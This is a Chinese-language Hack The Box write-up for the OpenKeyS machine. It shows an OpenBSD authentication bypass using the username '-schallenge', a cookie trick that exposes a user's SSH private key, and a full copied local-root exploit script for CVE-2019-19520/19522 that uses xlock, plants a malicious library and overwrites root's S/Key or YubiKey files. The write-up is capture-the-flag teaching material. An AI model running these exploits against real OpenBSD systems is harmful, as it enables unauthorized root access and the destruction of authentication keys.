HTB-OpenKeyS

请添加图片描述

信息收集

在这里插入图片描述
在这里插入图片描述

80端口

在这里插入图片描述
对其进行简单的SQL注入测试和NoSQL注入测试后进行目录扫描。
在这里插入图片描述
在这里插入图片描述
auth.swp文件内容如下:

在这里插入图片描述
代码不是很完整,只能大致了解意思(请原谅我脑子抽了没注意是个swp交换文件)。

session_start();	//启动新会话或者重用现有会话
session_destroy();	//销毁一个会话中的全部数据
session_unset();	//释放所有的会话变量
{function close_session()} //定义一个名为close_session的函数,作用可能是关闭当前会话。
$_SESSION["username"] = $_REQUEST['username'];			//记录对话的用户名
$_SESSION["user_agent"] = $_SERVER['HTTP_USER_AGENT'];	//记录对话的用户代理
$_SESSION["remote_addr"] = $_SERVER['REMOTE_ADDR'];		//记录对话的IP地址
$_SESSION["last_activity"] = $_SERVER['REQUEST_TIME'];	//记录对话最后一次激活的的请求时间
$_SESSION["login_time"] = $_SERVER['REQUEST_TIME'];		//记录对话的登陆时间
$_SESSION["logged_in"] = True;			//对话登录
{function init_session()} } return False;//初始化对话
{ else } } return True;
$_SESSION['last_activity'] = $time;	//记录对话最后一次活跃时间
// Session is active, update last activity time and return True { else } return False;
close_session();					//关闭当前对话
{ ($time - $_SESSION['last_activity']) > $session_timeout) if (isset($_SESSION['last_activity'])&& $time = $_SERVER['REQUEST_TIME'];
// Has the session expired? { if(isset($_SESSION["logged_in"])) // Is the user logged in? session_start();
// Start the session $session_timeout = 300;
// Session timeout in seconds{function is_active_session()} return $retcode;
system($cmd, $retcode);	//执行cmd和cmd的参数
$cmd = escapeshellcmd("../auth_helpers/check_auth " . $username . " " . $password);	//对字符串../auth_helpers/check_auth username password进行转义并赋给cmd变量
{function authenticate($username, $password)	//对username和password进行验证

在这里插入图片描述

不行,这样看不知道该怎么利用。使用wget下载下来。
在这里插入图片描述

使用vim -r auth.php.swp从swp文件中恢复,保存时候会出现问题,找不到路径。

在这里插入图片描述
创建一个路径就可以了。然后再vim -r auth.php.swp恢复,保存后就可以查看源码。并且通过file知道了此文件的用户是jennifer。
在这里插入图片描述

<?php

function authenticate($username, $password)
{
    $cmd = escapeshellcmd("../auth_helpers/check_auth " . $username . " " . $password);
    system($cmd, $retcode);
    return $retcode;
}

function is_active_session()
{
    // Session timeout in seconds
    $session_timeout = 300;

    // Start the session
    session_start();

    // Is the user logged in? 
    if(isset($_SESSION["logged_in"]))
    {
        // Has the session expired?
        $time = $_SERVER['REQUEST_TIME'];
        if (isset($_SESSION['last_activity']) && 
            ($time - $_SESSION['last_activity']) > $session_timeout)
        {
            close_session();
            return False;
        }
        else
        {
            // Session is active, update last activity time and return True
            $_SESSION['last_activity'] = $time;
            return True;
        }
    }
    else
    {
        return False;
    }
}

function init_session()
{
    $_SESSION["logged_in"] = True;
    $_SESSION["login_time"] = $_SERVER['REQUEST_TIME'];
    $_SESSION["last_activity"] = $_SERVER['REQUEST_TIME'];
    $_SESSION["remote_addr"] = $_SERVER['REMOTE_ADDR'];
    $_SESSION["user_agent"] = $_SERVER['HTTP_USER_AGENT'];
    $_SESSION["username"] = $_REQUEST['username'];
}

function close_session()
{
    session_unset();
    session_destroy();
    session_start();
}


?>

突破口在escapeshellcmd,但是需要知道../auth_helpers/check_auth的内容是什么。访问http://10.10.10.199/../auth_helpers/check_auth后得到check_auth文件。
在这里插入图片描述
尝试对其逆向发现一个auth_userokay函数。
在这里插入图片描述

还有OpenBSD函数。
在这里插入图片描述
在OpenBSD manual找到了相应函数。
在这里插入图片描述
auth_userokay是一个用于验证用户的身份信息,匹配成功则返回非0,失败则返回0。
在这里插入图片描述
尝试对OpenDSB auth_userokay进行漏洞搜索。得知一个CVE:CVE-2019-19521,漏洞内容为验证身份绕过,网站链接
在这里插入图片描述
在这里插入图片描述

尝试使用-schallenge作为用户名绕过。

在这里插入图片描述
成功了,但是暴露了个问题用户-schallenge没有OpenSSH的key,这个网站的功能应该是登陆后显示登录用户的OpenSSH key。
在这里插入图片描述

查看一下auth文件。
在这里插入图片描述

session会话的username是从HTTP的REQUEST方式获取,那这个登陆表单的username和这个会话的username是同一个么,如果是同一个那么password在什么地方?所以OpenDSB的auth_userokays的usernamesession会话的username是分开的,因为前者是POST,后者是REQUEST。会话的username是通过HTTP的REQUEST请求获取的。也就是说我们在登陆表单中输入的用户名也会被session获取并且存储。


破局:因为我们通过check_auth接触到了OpenDSB的auth_userokays函数,并且知道这个函数有一个以-schallenge来绕过验证的CVE,同时这个网站的session参数username也会通过我们登陆表单来获取。可能我们通过修改用户名绕过了auth_userokays函数,但是没有通过session的验证(可能因为-schallenge用户不存在),所以我们利用会话的username是$REQUEST($REQUEST包括从$GET$POST$_COOKIE三种方式获取值)在cookie中建立一个username并且名字等于Aster测试一下。

在这里插入图片描述
在这里插入图片描述

立足于Jennifer

测试成功。将username等于我们前面获取的jennifer。添加后Jennifer的OpenSSH私钥就暴露了。
在这里插入图片描述

在这里插入图片描述

Jennifer -> root

Jennifer属于wheel组。如果能找到Jennifer的密码就能够su提升权限。

并且根据系统版本找到了可能存在的提权漏洞。
在这里插入图片描述

在这里插入图片描述

继续回到前面给予我们帮助的网站。里面还有几个提权的CVE。

CVE-2019-19522,因为没有具有身份验证(auth组)而放弃。
在这里插入图片描述
CVE-2019-19519,条件是当前用户Jennifer要在wheel组,并且要知道Jennifer的密码。同样放弃。
在这里插入图片描述
CVE-2019-19520
在这里插入图片描述

根据CVE-2019-19520在网上找到一个脚本

# https://github.com/bcoles/local-exploits/tree/master/CVE-2019-19520

echo "openbsd-authroot (CVE-2019-19520 / CVE-2019-19522)"

echo "[*] checking system ..."

if grep auth= /etc/login.conf | fgrep -Ev "^#" | grep -q yubikey ; then
  echo "[*] system supports YubiKey authentication"
  target='yubikey'
elif grep auth= /etc/login.conf | fgrep -Ev "^#" | grep -q skey ; then
  echo "[*] system supports S/Key authentication"
  target='skey'
  if ! test -d /etc/skey/ ; then
    echo "[-] S/Key authentication enabled, but has not been initialized"
    exit 1
  fi
else
  echo "[-] system does not support S/Key / YubiKey authentication"
  exit 1
fi

echo "[*] id: `id`"

echo "[*] compiling ..."

cat > swrast_dri.c << "EOF"
#include <paths.h>
#include <sys/types.h>
#include <unistd.h>
static void __attribute__ ((constructor)) _init (void) {
    gid_t rgid, egid, sgid;
    if (getresgid(&rgid, &egid, &sgid) != 0) _exit(__LINE__);
    if (setresgid(sgid, sgid, sgid) != 0) _exit(__LINE__);
    char * const argv[] = { _PATH_KSHELL, NULL };
    execve(argv[0], argv, NULL);
    _exit(__LINE__);
}
EOF

cc -fpic -shared -s -o swrast_dri.so swrast_dri.c
rm -rf swrast_dri.c

echo "[*] running Xvfb ..."

display=":66"

env -i /usr/X11R6/bin/Xvfb $display -cc 0 &

echo "[*] testing for CVE-2019-19520 ..."

group=$(echo id -gn | env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display $display)

if [ "$group" = "auth" ]; then
  echo "[+] success! we have auth group permissions"
else
  echo "[-] failed to acquire auth group permissions"
  exit 1
fi

# uncomment to drop to a shell with auth group permissions
#env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display $display ; exit

echo
echo "WARNING: THIS EXPLOIT WILL DELETE KEYS. YOU HAVE 5 SECONDS TO CANCEL (CTRL+C)."
echo
sleep 5

if [ "$target" = "skey" ]; then
  echo "[*] trying CVE-2019-19522 (S/Key) ..."
  echo "rm -rf /etc/skey/root ; echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root ; chmod 0600 /etc/skey/root" | env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display $display
  rm -rf swrast_dri.so
  echo "Your password is: EGG LARD GROW HOG DRAG LAIN"
  env -i TERM=vt220 su -l -a skey
fi

if [ "$target" = "yubikey" ]; then
  echo "[*] trying CVE-2019-19522 (YubiKey) ..."
  echo "rm -rf /var/db/yubikey/root.* ; echo 32d32ddfb7d5 > /var/db/yubikey/root.uid ; echo 554d5eedfd75fb96cc74d52609505216 > /var/db/yubikey/root.key" | env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display $display
  rm -rf swrast_dri.so
  echo "Your password is: krkhgtuhdnjclrikikklulkldlutreul"
  env -i TERM=vt220 su -l -a yubikey
fi

在这里插入图片描述
通过脚本获得了密码输入密码。
在这里插入图片描述
PS:另外,在做任何操作的时候请务必小心,可能由于某个操作导致/tmp/.X11开头的那个目录还是文件的用户拥有组出现问题。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值